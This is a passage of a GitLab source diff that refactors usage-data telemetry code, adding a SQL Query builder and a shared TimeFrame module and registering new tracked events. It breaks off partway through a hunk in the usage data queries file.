diff --git a/lib/gitlab/usage/metrics/names_suggestions/generator.rb b/lib/gitlab/usage/metrics/names_suggestions/generator.rb
index 49581169452..a669b43f395 100644
--- a/lib/gitlab/usage/metrics/names_suggestions/generator.rb
+++ b/lib/gitlab/usage/metrics/names_suggestions/generator.rb
@@ -5,10 +5,6 @@ module Gitlab
module Metrics
module NamesSuggestions
class Generator < ::Gitlab::UsageData
- FREE_TEXT_METRIC_NAME = "<please fill metric name>"
- REDIS_EVENT_METRIC_NAME = "<please fill metric name, suggested format is: {subject}_{verb}{ing|ed}_{object} eg: users_creating_epics or merge_requests_viewed_in_single_file_mode>"
- CONSTRAINTS_PROMPT_TEMPLATE = "<adjective describing: '%{constraints}'>"
-
class << self
def generate(key_path)
uncached_data.deep_stringify_keys.dig(*key_path.split('.'))
@@ -17,200 +13,36 @@ module Gitlab
private
def count(relation, column = nil, batch: true, batch_size: nil, start: nil, finish: nil)
- name_suggestion(column: column, relation: relation, prefix: 'count')
+ Gitlab::Usage::Metrics::NameSuggestion.for(:count, column: column, relation: relation)
end
def distinct_count(relation, column = nil, batch: true, batch_size: nil, start: nil, finish: nil)
- name_suggestion(column: column, relation: relation, prefix: 'count_distinct', distinct: :distinct)
+ Gitlab::Usage::Metrics::NameSuggestion.for(:distinct_count, column: column, relation: relation)
end
def redis_usage_counter
- REDIS_EVENT_METRIC_NAME
+ Gitlab::Usage::Metrics::NameSuggestion.for(:redis)
end
def alt_usage_data(*)
- FREE_TEXT_METRIC_NAME
+ Gitlab::Usage::Metrics::NameSuggestion.for(:alt)
end
def redis_usage_data_totals(counter)
- counter.fallback_totals.transform_values { |_| REDIS_EVENT_METRIC_NAME }
+ counter.fallback_totals.transform_values { |_| Gitlab::Usage::Metrics::NameSuggestion.for(:redis) }
end
def sum(relation, column, *rest)
- name_suggestion(column: column, relation: relation, prefix: 'sum')
+ Gitlab::Usage::Metrics::NameSuggestion.for(:sum, column: column, relation: relation)
end
def estimate_batch_distinct_count(relation, column = nil, *rest)
- name_suggestion(column: column, relation: relation, prefix: 'estimate_distinct_count')
+ Gitlab::Usage::Metrics::NameSuggestion.for(:estimate_batch_distinct_count, column: column, relation: relation)
end
def add(*args)
"add_#{args.join('_and_')}"
end
-
- def name_suggestion(relation:, column: nil, prefix: nil, distinct: nil)
- # rubocop: disable CodeReuse/ActiveRecord
- relation = relation.unscope(where: :created_at)
- # rubocop: enable CodeReuse/ActiveRecord
-
- parts = [prefix]
- arel_column = arelize_column(relation, column)
-
- # nil as column indicates that the counting would use fallback value of primary key.
- # Because counting primary key from relation is the conceptual equal to counting all
- # records from given relation, in order to keep name suggestion more condensed
- # primary key column is skipped.
- # eg: SELECT COUNT(id) FROM issues would translate as count_issues and not
- # as count_id_from_issues since it does not add more information to the name suggestion
- if arel_column != Arel::Table.new(relation.table_name)[relation.primary_key]
- parts << arel_column.name
- parts << 'from'
- end
-
- arel = arel_query(relation: relation, column: arel_column, distinct: distinct)
- constraints = parse_constraints(relation: relation, arel: arel)
-
- # In some cases due to performance reasons metrics are instrumented with joined relations
- # where relation listed in FROM statement is not the one that includes counted attribute
- # in such situations to make name suggestion more intuitive source should be inferred based
- # on the relation that provide counted attribute
- # EG: SELECT COUNT(deployments.environment_id) FROM clusters
- # JOIN deployments ON deployments.cluster_id = cluster.id
- # should be translated into:
- # count_environment_id_from_deployments_with_clusters
- # instead of
- # count_environment_id_from_clusters_with_deployments
- actual_source = parse_source(relation, arel_column)
-
- append_constraints_prompt(actual_source, [constraints], parts)
-
- parts << actual_source
- parts += process_joined_relations(actual_source, arel, relation, constraints)
- parts.compact.join('_').delete('"')
- end
-
- def append_constraints_prompt(target, constraints, parts)
- applicable_constraints = constraints.select { |constraint| constraint.include?(target) }
- return unless applicable_constraints.any?
-
- parts << CONSTRAINTS_PROMPT_TEMPLATE % { constraints: applicable_constraints.join(' AND ') }
- end
-
- def parse_constraints(relation:, arel:)
- connection = relation.connection
- ::Gitlab::Usage::Metrics::NamesSuggestions::RelationParsers::Constraints
- .new(connection)
- .accept(arel, collector(connection))
- .value
- end
-
- # TODO: joins with `USING` keyword
- def process_joined_relations(actual_source, arel, relation, where_constraints)
- joins = parse_joins(connection: relation.connection, arel: arel)
- return [] unless joins.any?
-
- sources = [relation.table_name, *joins.map { |join| join[:source] }]
- joins = extract_joins_targets(joins, sources)
-
- relations = if actual_source != relation.table_name
- build_relations_tree(joins + [{ source: relation.table_name }], actual_source)
- else
- # in case where counter attribute comes from joined relations, the relations
- # diagram has to be built bottom up, thus source and target are reverted
- build_relations_tree(joins + [{ source: relation.table_name }], actual_source, source_key: :target, target_key: :source)
- end
-
- collect_join_parts(relations: relations[actual_source], joins: joins, wheres: where_constraints)
- end
-
- def parse_joins(connection:, arel:)
- ::Gitlab::Usage::Metrics::NamesSuggestions::RelationParsers::Joins
- .new(connection)
- .accept(arel)
- end
-
- def extract_joins_targets(joins, sources)
- joins.map do |join|
- source_regex = /(#{join[:source]})\.(\w+_)*id/i
-
- tables_except_src = (sources - [join[:source]]).join('|')
- target_regex = /(?<target>#{tables_except_src})\.(\w+_)*id/i
-
- join_cond_regex = /(#{source_regex}\s+=\s+#{target_regex})|(#{target_regex}\s+=\s+#{source_regex})/i
- matched = join_cond_regex.match(join[:constraints])
-
- if matched
- join[:target] = matched[:target]
- join[:constraints].gsub!(/#{join_cond_regex}(\s+(and|or))*/i, '')
- end
-
- join
- end
- end
-
- def build_relations_tree(joins, parent, source_key: :source, target_key: :target)
- return [] if joins.blank?
-
- tree = {}
- tree[parent] = []
-
- joins.each do |join|
- if join[source_key] == parent
- tree[parent] << build_relations_tree(joins - [join], join[target_key], source_key: source_key, target_key: target_key)
- end
- end
- tree
- end
-
- def collect_join_parts(relations:, joins:, wheres:, parts: [], conjunctions: %w[with having including].cycle)
- conjunction = conjunctions.next
- relations.each do |subtree|
- subtree.each do |parent, children|
- parts << "<#{conjunction}>"
- join_constraints = joins.find { |join| join[:source] == parent }&.dig(:constraints)
- append_constraints_prompt(parent, [wheres, join_constraints].compact, parts)
- parts << parent
- collect_join_parts(relations: children, joins: joins, wheres: wheres, parts: parts, conjunctions: conjunctions)
- end
- end
- parts
- end
-
- def arelize_column(relation, column)
- case column
- when Arel::Attribute
- column
- when NilClass
- Arel::Table.new(relation.table_name)[relation.primary_key]
- when String
- if column.include?('.')
- table, col = column.split('.')
- Arel::Table.new(table)[col]
- else
- Arel::Table.new(relation.table_name)[column]
- end
- when Symbol
- arelize_column(relation, column.to_s)
- end
- end
-
- def parse_source(relation, column)
- column.relation.name || relation.table_name
- end
-
- def collector(connection)
- Arel::Collectors::SubstituteBinds.new(connection, Arel::Collectors::SQLString.new)
- end
-
- def arel_query(relation:, column: nil, distinct: nil)
- column ||= relation.primary_key
-
- if column.is_a?(Arel::Attribute)
- relation.select(column.count(distinct)).arel
- else
- relation.select(relation.all.table[column].count(distinct)).arel
- end
- end
end
end
end
diff --git a/lib/gitlab/usage/metrics/query.rb b/lib/gitlab/usage/metrics/query.rb
new file mode 100644
index 00000000000..f6947c4c8ff
--- /dev/null
+++ b/lib/gitlab/usage/metrics/query.rb
@@ -0,0 +1,72 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Usage
+ module Metrics
+ class Query
+ class << self
+ def for(operation, relation, column = nil, **extra)
+ case operation
+ when :count
+ count(relation, column)
+ when :distinct_count
+ distinct_count(relation, column)
+ when :sum
+ sum(relation, column)
+ when :estimate_batch_distinct_count
+ estimate_batch_distinct_count(relation, column)
+ when :histogram
+ histogram(relation, column, **extra)
+ else
+ raise ArgumentError, "#{operation} operation not supported"
+ end
+ end
+
+ private
+
+ def count(relation, column = nil)
+ raw_sql(relation, column)
+ end
+
+ def distinct_count(relation, column = nil)
+ raw_sql(relation, column, true)
+ end
+
+ def sum(relation, column)
+ relation.select(relation.all.table[column].sum).to_sql
+ end
+
+ def estimate_batch_distinct_count(relation, column = nil)
+ raw_sql(relation, column, true)
+ end
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ def histogram(relation, column, buckets:, bucket_size: buckets.size)
+ count_grouped = relation.group(column).select(Arel.star.count.as('count_grouped'))
+ cte = Gitlab::SQL::CTE.new(:count_cte, count_grouped)
+
+ bucket_segments = bucket_size - 1
+ width_bucket = Arel::Nodes::NamedFunction
+ .new('WIDTH_BUCKET', [cte.table[:count_grouped], buckets.first, buckets.last, bucket_segments])
+ .as('buckets')
+
+ query = cte
+ .table
+ .project(width_bucket, cte.table[:count])
+ .group('buckets')
+ .order('buckets')
+ .with(cte.to_arel)
+
+ query.to_sql
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+
+ def raw_sql(relation, column, distinct = false)
+ column ||= relation.primary_key
+ relation.select(relation.all.table[column].count(distinct)).to_sql
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/usage/time_frame.rb b/lib/gitlab/usage/time_frame.rb
new file mode 100644
index 00000000000..966a087ee07
--- /dev/null
+++ b/lib/gitlab/usage/time_frame.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Usage
+ module TimeFrame
+ ALL_TIME_TIME_FRAME_NAME = "all"
+ SEVEN_DAYS_TIME_FRAME_NAME = "7d"
+ TWENTY_EIGHT_DAYS_TIME_FRAME_NAME = "28d"
+
+ def weekly_time_range
+ { start_date: 7.days.ago.to_date, end_date: Date.current }
+ end
+
+ def monthly_time_range
+ { start_date: 4.weeks.ago.to_date, end_date: Date.current }
+ end
+
+ # This time range is skewed for batch counter performance.
+ # See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/42972
+ def monthly_time_range_db_params(column: :created_at)
+ { column => 30.days.ago..2.days.ago }
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/usage_data.rb b/lib/gitlab/usage_data.rb
index b1ba529d4a4..415a5bff261 100644
--- a/lib/gitlab/usage_data.rb
+++ b/lib/gitlab/usage_data.rb
@@ -33,6 +33,7 @@ module Gitlab
class << self
include Gitlab::Utils::UsageData
include Gitlab::Utils::StrongMemoize
+ include Gitlab::Usage::TimeFrame
def data(force_refresh: false)
Rails.cache.fetch('usage_data', force: force_refresh, expires_in: 2.weeks) do
@@ -55,7 +56,7 @@ module Gitlab
.merge(object_store_usage_data)
.merge(topology_usage_data)
.merge(usage_activity_by_stage)
- .merge(usage_activity_by_stage(:usage_activity_by_stage_monthly, last_28_days_time_period))
+ .merge(usage_activity_by_stage(:usage_activity_by_stage_monthly, monthly_time_range_db_params))
.merge(analytics_unique_visits_data)
.merge(compliance_unique_visits_data)
.merge(search_unique_visits_data)
@@ -165,7 +166,6 @@ module Gitlab
projects_with_error_tracking_enabled: count(::ErrorTracking::ProjectErrorTrackingSetting.where(enabled: true)),
projects_with_alerts_created: distinct_count(::AlertManagement::Alert, :project_id),
projects_with_enabled_alert_integrations: distinct_count(::AlertManagement::HttpIntegration.active, :project_id),
- projects_with_prometheus_alerts: distinct_count(PrometheusAlert, :project_id),
projects_with_terraform_reports: distinct_count(::Ci::JobArtifact.terraform_reports, :project_id),
projects_with_terraform_states: distinct_count(::Terraform::State, :project_id),
protected_branches: count(ProtectedBranch),
@@ -188,7 +188,6 @@ module Gitlab
services_usage,
usage_counters,
user_preferences_usage,
- ingress_modsecurity_usage,
container_expiration_policies_usage,
service_desk_counts,
email_campaign_counts
@@ -228,16 +227,17 @@ module Gitlab
{
counts_monthly: {
# rubocop: disable UsageData/LargeTable:
- deployments: deployment_count(Deployment.where(last_28_days_time_period)),
- successful_deployments: deployment_count(Deployment.success.where(last_28_days_time_period)),
- failed_deployments: deployment_count(Deployment.failed.where(last_28_days_time_period)),
+ deployments: deployment_count(Deployment.where(monthly_time_range_db_params)),
+ successful_deployments: deployment_count(Deployment.success.where(monthly_time_range_db_params)),
+ failed_deployments: deployment_count(Deployment.failed.where(monthly_time_range_db_params)),
# rubocop: enable UsageData/LargeTable:
- packages: count(::Packages::Package.where(last_28_days_time_period)),
- personal_snippets: count(PersonalSnippet.where(last_28_days_time_period)),
- project_snippets: count(ProjectSnippet.where(last_28_days_time_period)),
- projects_with_alerts_created: distinct_count(::AlertManagement::Alert.where(last_28_days_time_period), :project_id)
+ projects: count(Project.where(monthly_time_range_db_params), start: minimum_id(Project), finish: maximum_id(Project)),
+ packages: count(::Packages::Package.where(monthly_time_range_db_params)),
+ personal_snippets: count(PersonalSnippet.where(monthly_time_range_db_params)),
+ project_snippets: count(ProjectSnippet.where(monthly_time_range_db_params)),
+ projects_with_alerts_created: distinct_count(::AlertManagement::Alert.where(monthly_time_range_db_params), :project_id)
}.merge(
- snowplow_event_counts(last_28_days_time_period(column: :collector_tstamp))
+ snowplow_event_counts(monthly_time_range_db_params(column: :collector_tstamp))
).tap do |data|
data[:snippets] = add(data[:personal_snippets], data[:project_snippets])
end
@@ -294,7 +294,6 @@ module Gitlab
reply_by_email_enabled: alt_usage_data(fallback: nil) { Gitlab::IncomingEmail.enabled? },
signup_enabled: alt_usage_data(fallback: nil) { Gitlab::CurrentSettings.allow_signup? },
web_ide_clientside_preview_enabled: alt_usage_data(fallback: nil) { Gitlab::CurrentSettings.web_ide_clientside_preview_enabled? },
- ingress_modsecurity_enabled: Feature.enabled?(:ingress_modsecurity),
grafana_link_enabled: alt_usage_data(fallback: nil) { Gitlab::CurrentSettings.grafana_enabled? },
gitpod_enabled: alt_usage_data(fallback: nil) { Gitlab::CurrentSettings.gitpod_enabled? }
}
@@ -376,29 +375,6 @@ module Gitlab
Gitlab::UsageData::Topology.new.topology_usage_data
end
- # rubocop: disable UsageData/DistinctCountByLargeForeignKey
- def ingress_modsecurity_usage
- ##
- # This method measures usage of the Modsecurity Web Application Firewall across the entire
- # instance's deployed environments.
- #
- # NOTE: this service is an approximation as it does not yet take into account if environment
- # is enabled and only measures applications installed using GitLab Managed Apps (disregards
- # CI-based managed apps).
- #
- # More details: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28331#note_318621786
- ##
-
- column = ::Deployment.arel_table[:environment_id]
- {
- ingress_modsecurity_logging: distinct_count(successful_deployments_with_cluster(::Clusters::Applications::Ingress.modsecurity_enabled.logging), column),
- ingress_modsecurity_blocking: distinct_count(successful_deployments_with_cluster(::Clusters::Applications::Ingress.modsecurity_enabled.blocking), column),
- ingress_modsecurity_disabled: distinct_count(successful_deployments_with_cluster(::Clusters::Applications::Ingress.modsecurity_disabled), column),
- ingress_modsecurity_not_installed: distinct_count(successful_deployments_with_cluster(::Clusters::Applications::Ingress.modsecurity_not_installed), column)
- }
- end
- # rubocop: enable UsageData/DistinctCountByLargeForeignKey
-
# rubocop: disable CodeReuse/ActiveRecord
def container_expiration_policies_usage
results = {}
@@ -427,15 +403,15 @@ module Gitlab
def services_usage
# rubocop: disable UsageData/LargeTable:
- Integration.available_services_names(include_dev: false).each_with_object({}) do |service_name, response|
- service_type = Integration.service_name_to_type(service_name)
-
- response["projects_#{service_name}_active".to_sym] = count(Integration.active.where.not(project: nil).where(type: service_type))
- response["groups_#{service_name}_active".to_sym] = count(Integration.active.where.not(group: nil).where(type: service_type))
- response["templates_#{service_name}_active".to_sym] = count(Integration.active.where(template: true, type: service_type))
- response["instances_#{service_name}_active".to_sym] = count(Integration.active.where(instance: true, type: service_type))
- response["projects_inheriting_#{service_name}_active".to_sym] = count(Integration.active.where.not(project: nil).where.not(inherit_from_id: nil).where(type: service_type))
- response["groups_inheriting_#{service_name}_active".to_sym] = count(Integration.active.where.not(group: nil).where.not(inherit_from_id: nil).where(type: service_type))
+ Integration.available_services_names(include_dev: false).each_with_object({}) do |name, response|
+ type = Integration.integration_name_to_type(name)
+
+ response[:"projects_#{name}_active"] = count(Integration.active.where.not(project: nil).where(type: type))
+ response[:"groups_#{name}_active"] = count(Integration.active.where.not(group: nil).where(type: type))
+ response[:"templates_#{name}_active"] = count(Integration.active.where(template: true, type: type))
+ response[:"instances_#{name}_active"] = count(Integration.active.where(instance: true, type: type))
+ response[:"projects_inheriting_#{name}_active"] = count(Integration.active.where.not(project: nil).where.not(inherit_from_id: nil).where(type: type))
+ response[:"groups_inheriting_#{name}_active"] = count(Integration.active.where.not(group: nil).where.not(inherit_from_id: nil).where(type: type))
end.merge(jira_usage, jira_import_usage)
# rubocop: enable UsageData/LargeTable:
end
@@ -521,10 +497,6 @@ module Gitlab
"#{platform}-#{ohai_data['platform_version']}"
end
- def last_28_days_time_period(column: :created_at)
- { column => 30.days.ago..2.days.ago }
- end
-
# Source: https://gitlab.com/gitlab-data/analytics/blob/master/transform/snowflake-dbt/data/ping_metrics_to_stage_mapping_data.csv
def usage_activity_by_stage(key = :usage_activity_by_stage, time_period = {})
{
@@ -742,7 +714,7 @@ module Gitlab
hash[target] = redis_usage_data { unique_visit_service.unique_visits_for(targets: target) }
end
results['analytics_unique_visits_for_any_target'] = redis_usage_data { unique_visit_service.unique_visits_for(targets: :analytics) }
- results['analytics_unique_visits_for_any_target_monthly'] = redis_usage_data { unique_visit_service.unique_visits_for(targets: :analytics, start_date: 4.weeks.ago.to_date, end_date: Date.current) }
+ results['analytics_unique_visits_for_any_target_monthly'] = redis_usage_data { unique_visit_service.unique_visits_for(targets: :analytics, **monthly_time_range) }
{ analytics_unique_visits: results }
end
@@ -752,7 +724,7 @@ module Gitlab
hash[target] = redis_usage_data { unique_visit_service.unique_visits_for(targets: target) }
end
results['compliance_unique_visits_for_any_target'] = redis_usage_data { unique_visit_service.unique_visits_for(targets: :compliance) }
- results['compliance_unique_visits_for_any_target_monthly'] = redis_usage_data { unique_visit_service.unique_visits_for(targets: :compliance, start_date: 4.weeks.ago.to_date, end_date: Date.current) }
+ results['compliance_unique_visits_for_any_target_monthly'] = redis_usage_data { unique_visit_service.unique_visits_for(targets: :compliance, **monthly_time_range) }
{ compliance_unique_visits: results }
end
@@ -760,11 +732,11 @@ module Gitlab
def search_unique_visits_data
events = ::Gitlab::UsageDataCounters::HLLRedisCounter.events_for_category('search')
results = events.each_with_object({}) do |event, hash|
- hash[event] = redis_usage_data { ::Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names: event, start_date: 7.days.ago.to_date, end_date: Date.current) }
+ hash[event] = redis_usage_data { ::Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names: event, **weekly_time_range) }
end
- results['search_unique_visits_for_any_target_weekly'] = redis_usage_data { ::Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names: events, start_date: 7.days.ago.to_date, end_date: Date.current) }
- results['search_unique_visits_for_any_target_monthly'] = redis_usage_data { ::Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names: events, start_date: 4.weeks.ago.to_date, end_date: Date.current) }
+ results['search_unique_visits_for_any_target_weekly'] = redis_usage_data { ::Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names: events, **weekly_time_range) }
+ results['search_unique_visits_for_any_target_monthly'] = redis_usage_data { ::Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names: events, **monthly_time_range) }
{ search_unique_visits: results }
end
@@ -852,17 +824,16 @@ module Gitlab
sent_emails = count(Users::InProductMarketingEmail.group(:track, :series))
clicked_emails = count(Users::InProductMarketingEmail.where.not(cta_clicked_at: nil).group(:track, :series))
- series_amount = Namespaces::InProductMarketingEmailsService::INTERVAL_DAYS.count
-
Users::InProductMarketingEmail.tracks.keys.each_with_object({}) do |track, result|
# rubocop: enable UsageData/LargeTable:
+ series_amount = Namespaces::InProductMarketingEmailsService::TRACKS[track.to_sym][:interval_days].count
0.upto(series_amount - 1).map do |series|
# When there is an error with the query and it's not the Hash we expect, we return what we got from `count`.
sent_count = sent_emails.is_a?(Hash) ? sent_emails.fetch([track, series], 0) : sent_emails
clicked_count = clicked_emails.is_a?(Hash) ? clicked_emails.fetch([track, series], 0) : clicked_emails
result["in_product_marketing_email_#{track}_#{series}_sent"] = sent_count
- result["in_product_marketing_email_#{track}_#{series}_cta_clicked"] = clicked_count
+ result["in_product_marketing_email_#{track}_#{series}_cta_clicked"] = clicked_count unless track == 'experience'
end
end
end
@@ -917,7 +888,7 @@ module Gitlab
end
def project_imports(time_period)
- {
+ counters = {
gitlab_project: projects_imported_count('gitlab_project', time_period),
gitlab: projects_imported_count('gitlab', time_period),
github: projects_imported_count('github', time_period),
@@ -928,6 +899,10 @@ module Gitlab
manifest: projects_imported_count('manifest', time_period),
gitlab_migration: count(::BulkImports::Entity.where(time_period).project_entity) # rubocop: disable CodeReuse/ActiveRecord
}
+
+ counters[:total] = add(*counters.values)
+
+ counters
end
def projects_imported_count(from, time_period)
diff --git a/lib/gitlab/usage_data_counters/counter_events/package_events.yml b/lib/gitlab/usage_data_counters/counter_events/package_events.yml
index dd66a40a48f..c72f487a442 100644
--- a/lib/gitlab/usage_data_counters/counter_events/package_events.yml
+++ b/lib/gitlab/usage_data_counters/counter_events/package_events.yml
@@ -21,6 +21,7 @@
- i_package_golang_delete_package
- i_package_golang_pull_package
- i_package_golang_push_package
+- i_package_helm_pull_package
- i_package_maven_delete_package
- i_package_maven_pull_package
- i_package_maven_push_package
diff --git a/lib/gitlab/usage_data_counters/hll_redis_counter.rb b/lib/gitlab/usage_data_counters/hll_redis_counter.rb
index 833eebd5d04..2a231f8fce0 100644
--- a/lib/gitlab/usage_data_counters/hll_redis_counter.rb
+++ b/lib/gitlab/usage_data_counters/hll_redis_counter.rb
@@ -38,6 +38,7 @@ module Gitlab
# * Get unique counts per user: Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names: 'g_compliance_dashboard', start_date: 28.days.ago, end_date: Date.current)
class << self
include Gitlab::Utils::UsageData
+ include Gitlab::Usage::TimeFrame
# Track unique events
#
@@ -98,14 +99,6 @@ module Gitlab
end
end
- def weekly_time_range
- { start_date: 7.days.ago.to_date, end_date: Date.current }
- end
-
- def monthly_time_range
- { start_date: 4.weeks.ago.to_date, end_date: Date.current }
- end
-
def known_event?(event_name)
event_for(event_name).present?
end
diff --git a/lib/gitlab/usage_data_counters/known_events/code_review_events.yml b/lib/gitlab/usage_data_counters/known_events/code_review_events.yml
index cc89fbd5caf..5023161a9dd 100644
--- a/lib/gitlab/usage_data_counters/known_events/code_review_events.yml
+++ b/lib/gitlab/usage_data_counters/known_events/code_review_events.yml
@@ -164,6 +164,11 @@
category: code_review
aggregation: weekly
# Diff settings events
+- name: i_code_review_click_diff_view_setting
+ redis_slot: code_review
+ category: code_review
+ aggregation: weekly
+ feature_flag: diff_settings_usage_data
- name: i_code_review_click_single_file_mode_setting
redis_slot: code_review
category: code_review
@@ -219,3 +224,11 @@
category: code_review
aggregation: weekly
feature_flag: diff_settings_usage_data
+- name: i_code_review_user_load_conflict_ui
+ redis_slot: code_review
+ category: code_review
+ aggregation: weekly
+- name: i_code_review_user_resolve_conflict
+ redis_slot: code_review
+ category: code_review
+ aggregation: weekly
diff --git a/lib/gitlab/usage_data_counters/known_events/common.yml b/lib/gitlab/usage_data_counters/known_events/common.yml
index f2504396cc4..f2e45a52434 100644
--- a/lib/gitlab/usage_data_counters/known_events/common.yml
+++ b/lib/gitlab/usage_data_counters/known_events/common.yml
@@ -180,7 +180,6 @@
category: testing
redis_slot: testing
aggregation: weekly
- feature_flag: usage_data_i_testing_group_code_coverage_project_click_total
- name: i_testing_load_performance_widget_total
category: testing
redis_slot: testing
@@ -345,18 +344,15 @@
category: terraform
redis_slot: terraform
aggregation: weekly
- feature_flag: usage_data_p_terraform_state_api_unique_users
# Pipeline Authoring
- name: o_pipeline_authoring_unique_users_committing_ciconfigfile
category: pipeline_authoring
redis_slot: pipeline_authoring
aggregation: weekly
- feature_flag: usage_data_unique_users_committing_ciconfigfile
- name: o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile
category: pipeline_authoring
redis_slot: pipeline_authoring
aggregation: weekly
- feature_flag: usage_data_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile
# Merge request widgets
- name: users_expanding_secure_security_report
redis_slot: secure
diff --git a/lib/gitlab/usage_data_counters/known_events/ecosystem.yml b/lib/gitlab/usage_data_counters/known_events/ecosystem.yml
index adc5ba36ad7..f594c6a1b7c 100644
--- a/lib/gitlab/usage_data_counters/known_events/ecosystem.yml
+++ b/lib/gitlab/usage_data_counters/known_events/ecosystem.yml
@@ -4,22 +4,18 @@
category: ecosystem
redis_slot: ecosystem
aggregation: weekly
- feature_flag: usage_data_track_ecosystem_jira_service
- name: i_ecosystem_jira_service_cross_reference
category: ecosystem
redis_slot: ecosystem
aggregation: weekly
- feature_flag: usage_data_track_ecosystem_jira_service
- name: i_ecosystem_jira_service_list_issues
category: ecosystem
redis_slot: ecosystem
aggregation: weekly
- feature_flag: usage_data_track_ecosystem_jira_service
- name: i_ecosystem_jira_service_create_issue
category: ecosystem
redis_slot: ecosystem
aggregation: weekly
- feature_flag: usage_data_track_ecosystem_jira_service
- name: i_ecosystem_slack_service_issue_notification
category: ecosystem
redis_slot: ecosystem
diff --git a/lib/gitlab/usage_data_counters/known_events/epic_events.yml b/lib/gitlab/usage_data_counters/known_events/epic_events.yml
index d1864cd569b..62b0d6dea86 100644
--- a/lib/gitlab/usage_data_counters/known_events/epic_events.yml
+++ b/lib/gitlab/usage_data_counters/known_events/epic_events.yml
@@ -182,3 +182,9 @@
redis_slot: project_management
aggregation: daily
feature_flag: track_epics_activity
+
+- name: g_project_management_users_epic_issue_added_from_epic
+ category: epics_usage
+ redis_slot: project_management
+ aggregation: daily
+ feature_flag: track_epics_activity
diff --git a/lib/gitlab/usage_data_counters/known_events/package_events.yml b/lib/gitlab/usage_data_counters/known_events/package_events.yml
index d8ad2b538d6..e5031599dd0 100644
--- a/lib/gitlab/usage_data_counters/known_events/package_events.yml
+++ b/lib/gitlab/usage_data_counters/known_events/package_events.yml
@@ -47,6 +47,14 @@
category: user_packages
aggregation: weekly
redis_slot: package
+- name: i_package_helm_deploy_token
+ category: deploy_token_packages
+ aggregation: weekly
+ redis_slot: package
+- name: i_package_helm_user
+ category: user_packages
+ aggregation: weekly
+ redis_slot: package
- name: i_package_maven_deploy_token
category: deploy_token_packages
aggregation: weekly
diff --git a/lib/gitlab/usage_data_counters/merge_request_activity_unique_counter.rb b/lib/gitlab/usage_data_counters/merge_request_activity_unique_counter.rb
index eb28a387a97..0d6f4b93aee 100644
--- a/lib/gitlab/usage_data_counters/merge_request_activity_unique_counter.rb
+++ b/lib/gitlab/usage_data_counters/merge_request_activity_unique_counter.rb
@@ -44,6 +44,8 @@ module Gitlab
MR_INCLUDING_CI_CONFIG_ACTION = 'o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile'
MR_MILESTONE_CHANGED_ACTION = 'i_code_review_user_milestone_changed'
MR_LABELS_CHANGED_ACTION = 'i_code_review_user_labels_changed'
+ MR_LOAD_CONFLICT_UI_ACTION = 'i_code_review_user_load_conflict_ui'
+ MR_RESOLVE_CONFLICT_ACTION = 'i_code_review_user_resolve_conflict'
class << self
def track_mr_diffs_action(merge_request:)
@@ -187,7 +189,6 @@ module Gitlab
end
def track_mr_including_ci_config(user:, merge_request:)
- return unless Feature.enabled?(:usage_data_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile, user, default_enabled: :yaml)
return unless merge_request.includes_ci_config?
track_unique_action_by_user(MR_INCLUDING_CI_CONFIG_ACTION, user)
@@ -201,6 +202,14 @@ module Gitlab
track_unique_action_by_user(MR_LABELS_CHANGED_ACTION, user)
end
+ def track_loading_conflict_ui_action(user:)
+ track_unique_action_by_user(MR_LOAD_CONFLICT_UI_ACTION, user)
+ end
+
+ def track_resolve_conflict_action(user:)
+ track_unique_action_by_user(MR_RESOLVE_CONFLICT_ACTION, user)
+ end
+
private
def track_unique_action_by_merge_request(action, merge_request)
diff --git a/lib/gitlab/usage_data_metrics.rb b/lib/gitlab/usage_data_metrics.rb
index e181da01229..dde5dde19e0 100644
--- a/lib/gitlab/usage_data_metrics.rb
+++ b/lib/gitlab/usage_data_metrics.rb
@@ -7,9 +7,12 @@ module Gitlab
def uncached_data
::Gitlab::Usage::MetricDefinition.all.map do |definition|
instrumentation_class = definition.attributes[:instrumentation_class]
+ options = definition.attributes[:options]
if instrumentation_class.present?
- metric_value = "Gitlab::Usage::Metrics::Instrumentations::#{instrumentation_class}".constantize.new(time_frame: definition.attributes[:time_frame]).value
+ metric_value = "Gitlab::Usage::Metrics::Instrumentations::#{instrumentation_class}".constantize.new(
+ time_frame: definition.attributes[:time_frame],
+ options: options).value
metric_payload(definition.key_path, metric_value)
else
diff --git a/lib/gitlab/usage_data_queries.rb b/lib/gitlab/usage_data_queries.rb
index 1c776501fdb..da01b68e8fc 100644
--- a/lib/gitlab/usage_data_queries.rb
+++ b/lib/gitlab/usage_data_queries.rb
@@ -6,43 +6,20 @@ module Gitlab
class UsageDataQueries < UsageData
class << self
def count(relation, column = nil, *args, **kwargs)
- raw_sql(relation, column)
+ Gitlab::Usage::Metrics::Query.for(:count, relation, column)
end
def distinct_count(relation, column = nil, *args, **kwargs)
- raw_sql(relation, column, :distinct)
- end
-
- def redis_usage_data(counter = nil, &block)
- if block_given?
- { redis_usage_data_block: block.to_s }
- elsif counter.present?
- { redis_usage_data_counter: counter }
- end
+ Gitlab::Usage::Metrics::Query.for(:distinct_count, relation, column)
end
def sum(relation, column, *args, **kwargs)
- relation.select(relation.all.table[column].sum).to_sql
+ Gitlab::Usage::Metrics::Query.for(:sum, relation, column)
end
# rubocop: disable CodeReuse/ActiveRecord
def histogram(relation, column, buckets:, bucket_size: buckets.size)
- count_grouped = relation.group(column).select(Arel.star.count.as('count_grouped'))
- cte = Gitlab::SQL::CTE.new(:count_cte, count_grouped)
-
- bucket_segments = bucket_size - 1
- width_bucket = Arel::Nodes::NamedFunction
